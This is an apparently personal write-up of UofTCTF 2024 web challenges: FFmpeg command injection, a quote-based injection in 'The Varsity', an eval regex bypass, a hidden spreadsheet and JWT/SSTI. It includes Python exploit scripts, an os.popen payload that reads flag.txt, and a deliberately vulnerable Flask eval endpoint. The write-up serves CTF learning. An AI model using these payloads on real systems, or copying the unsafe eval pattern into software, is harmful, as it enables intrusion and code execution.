Archive 28

CTF 16 Box 6 Web Exploitation 6

315 words

2 minutes

UofTCTF 2024: OS Command Injection via FFmpeg & Web Cache Deception

2024-01-14

Web Exploitation

UofTCTF

OS Command Injection

FFmpeg

Web Cache Deception

Name	uoftctf
URL	https://play.uoftctf.org/
Category	Web
Discord	https://discord.com/invite/VAwyzVUt?utm_source=Discord%20Widget&utm_medium=Connect

1. Voice Changer - OS Injection#

This website uses FFmpeg to generate an OGG file. In this challenge, an OS injection vulnerability exists in the FFmpeg command.

Let’s attempt to induce a delay in the command using $(sleep 10).

The image reveals a 10-second delay resulting from the execution of the sleep command.

Exploiting the Vulnerability#

To exploit this vulnerability, our approach involves redirecting the flag to our webhook site:

2. The Varsity#

Solution:#

To address the issue, generate a valid (JWT) and proceed by sending a POST request to article number 9 with this json {“issue”:“9’“}

1
import requests
2

3
url = "https://uoftctf-the-varsity.chals.io:443/register"
4
json={"username": "achuxer"}
5
reg = requests.post(url, json=json)
6

7
valid_jwt = reg.headers["Set-Cookie"].split("=")[1].split(";")[0]
8

9
session = requests.session()
10

11
_url = "https://uoftctf-the-varsity.chals.io:443/article"
12
_cookies = {"token": valid_jwt}
13
_json={"issue": "9'"}
14
flag = session.post(_url, cookies=_cookies, json=_json)
15

16
print(flag.json()["content"])

No Code - Eval#

Source#

1
from flask import Flask, request, jsonify
2
import re
3

4
app = Flask(__name__)
5

6
@app.route('/execute', methods=['POST'])
7
def execute_code():
8
    code = request.form.get('code', '')
9
    if re.match(".*[\x20-\x7E]+.*", code):
10
        return jsonify({"output": "jk lmao no code"}), 403
11
    result = ""
12
    try:
13
        result = eval(code)
14
    except Exception as e:
15
        result = str(e)
16

17
    return jsonify({"output": result}), 200
18

19
if __name__ == "__main__":
20
    app.run(host="0.0.0.0", port=1337, debug=False)

Solution#

Sending \n in the start of your payload cz re.match() will only match at the beginning of the string and not at the beginning of each line.

1
#!/usr/bin/env python3
2
import requests
3
import string,sys
4
url = 'https://uoftctf-no-code.chals.io/execute'
5

6
payload = "\n__import__('os').popen('cat flag.txt').read()"
7

8
data = {
9
    'code': payload
10
}
11
response = requests.post(url, data=data)
12
print(response.text)

Guestbook - Hidden Flag#

By reading the html source you can see POST action directed towards a Google Spreadsheet with the parameter “sheetID”

After googling around,with this id you can obtain spreadsheet docs.

https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ/edit

Following this step, you can notice two hidden rows. Once I copied the doc, I had access to the flag

My First App - JWT / SSTI#

Solution : Initially, you must crack a JWT to reveal the jwt_key. Furthermore, there’s an SSTI in the username field from the JWT-cookie, but with certain blacklisted characters/words.